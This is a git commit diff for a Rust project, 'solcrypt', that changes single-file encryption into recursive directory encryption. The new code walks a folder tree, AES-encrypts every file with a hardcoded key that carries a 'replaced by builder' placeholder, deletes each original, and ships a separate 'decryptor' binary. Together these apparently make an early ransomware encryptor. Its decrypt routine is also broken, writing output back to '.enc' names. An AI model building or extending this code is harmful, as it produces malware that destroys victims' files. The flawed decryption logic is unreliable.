feat: enc/dec directories instead of files
This commit is contained in:
parent
363a39c26e
commit
f192d2c239
8 changed files with 75 additions and 10 deletions
|
@ -3,6 +3,15 @@ name = "solcrypt"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
|
[[bin]]
|
||||||
|
name = "solcrypt_main"
|
||||||
|
path = "src/encrypt.rs"
|
||||||
|
|
||||||
|
[[bin]]
|
||||||
|
name = "decryptor"
|
||||||
|
path = "src/decrypt.rs"
|
||||||
|
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
aes = "0.7.5"
|
aes = "0.7.5"
|
||||||
block-modes = "0.8.1"
|
block-modes = "0.8.1"
|
||||||
|
|
|
@ -7,6 +7,8 @@ use aes::Aes256;
|
||||||
use block_modes::{BlockMode, Cbc};
|
use block_modes::{BlockMode, Cbc};
|
||||||
use block_modes::block_padding::Pkcs7;
|
use block_modes::block_padding::Pkcs7;
|
||||||
use std::fs::File;
|
use std::fs::File;
|
||||||
|
use std::path::{Path, PathBuf};
|
||||||
|
use std::fs;
|
||||||
use std::io::{Read, Write};
|
use std::io::{Read, Write};
|
||||||
use std::error::Error;
|
use std::error::Error;
|
||||||
use std::str;
|
use std::str;
|
||||||
|
@ -18,7 +20,7 @@ const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder";
|
||||||
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes
|
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes
|
||||||
|
|
||||||
|
|
||||||
pub fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
|
fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
|
||||||
// Read the input file
|
// Read the input file
|
||||||
let mut input_file = File::open(input_path)?;
|
let mut input_file = File::open(input_path)?;
|
||||||
let mut buffer = Vec::new();
|
let mut buffer = Vec::new();
|
||||||
|
@ -35,7 +37,7 @@ pub fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn E
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
|
fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
|
||||||
// Read the encrypted file
|
// Read the encrypted file
|
||||||
let mut input_file = File::open(input_path)?;
|
let mut input_file = File::open(input_path)?;
|
||||||
let mut buffer = Vec::new();
|
let mut buffer = Vec::new();
|
||||||
|
@ -51,3 +53,44 @@ pub fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn E
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn get_files(directory_path: &str) -> Vec<String> {
|
||||||
|
let directory_path = Path::new(directory_path);
|
||||||
|
let entries = fs::read_dir(directory_path).expect("Failed to read directory");
|
||||||
|
|
||||||
|
let mut file_list = Vec::new();
|
||||||
|
|
||||||
|
for entry in entries {
|
||||||
|
let entry = entry.expect("Failed to read entry");
|
||||||
|
let file_path = entry.path();
|
||||||
|
if file_path.is_file() {
|
||||||
|
file_list.push(file_path.to_string_lossy().to_string());
|
||||||
|
} else if file_path.is_dir() {
|
||||||
|
let sub_files = get_files(&file_path.to_string_lossy().to_string());
|
||||||
|
file_list.extend(sub_files);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
file_list
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
|
||||||
|
let directory = get_files(directory_path);
|
||||||
|
for mut file in directory {
|
||||||
|
let encrypted_file_path = file.as_mut().to_owned() + ".enc";
|
||||||
|
encrypt_file(&file, &encrypted_file_path)?;
|
||||||
|
fs::remove_file(file).unwrap();
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
|
||||||
|
let directory = get_files(directory_path);
|
||||||
|
for mut file in directory {
|
||||||
|
let encrypted_file_path = file.as_mut().to_owned() + ".enc";
|
||||||
|
decrypt_file(&file, &encrypted_file_path)?;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
9
src/decrypt.rs
Normal file
9
src/decrypt.rs
Normal file
|
@ -0,0 +1,9 @@
|
||||||
|
mod crypto;
|
||||||
|
use crypto::decrypt_directory;
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
println!("Hello, world!");
|
||||||
|
println!("Encrypting test directory");
|
||||||
|
decrypt_directory("testdir").unwrap();
|
||||||
|
|
||||||
|
}
|
9
src/encrypt.rs
Normal file
9
src/encrypt.rs
Normal file
|
@ -0,0 +1,9 @@
|
||||||
|
mod crypto;
|
||||||
|
use crypto::encrypt_directory;
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
println!("Hello, world!");
|
||||||
|
println!("Encrypting test directory");
|
||||||
|
encrypt_directory("testdir").unwrap();
|
||||||
|
|
||||||
|
}
|
|
@ -1,8 +0,0 @@
|
||||||
mod crypto;
|
|
||||||
use crypto::{encrypt_file, decrypt_file};
|
|
||||||
|
|
||||||
fn main() {
|
|
||||||
println!("Hello, world!");
|
|
||||||
encrypt_file("testfiles/meow.txt", "testfiles/meow.enc").unwrap();
|
|
||||||
decrypt_file("testfiles/meow.enc", "testfiles/meow.dec.text").unwrap();
|
|
||||||
}
|
|
1
testdir/dir2/meow1.txt
Normal file
1
testdir/dir2/meow1.txt
Normal file
|
@ -0,0 +1 @@
|
||||||
|
meow
|
1
testdir/dir2/meow2.txt
Normal file
1
testdir/dir2/meow2.txt
Normal file
|
@ -0,0 +1 @@
|
||||||
|
meow meow
|
1
testdir/meow.txt
Normal file
1
testdir/meow.txt
Normal file
|
@ -0,0 +1 @@
|
||||||
|
cats would rule the world better than humans
|
Loading…
Reference in a new issue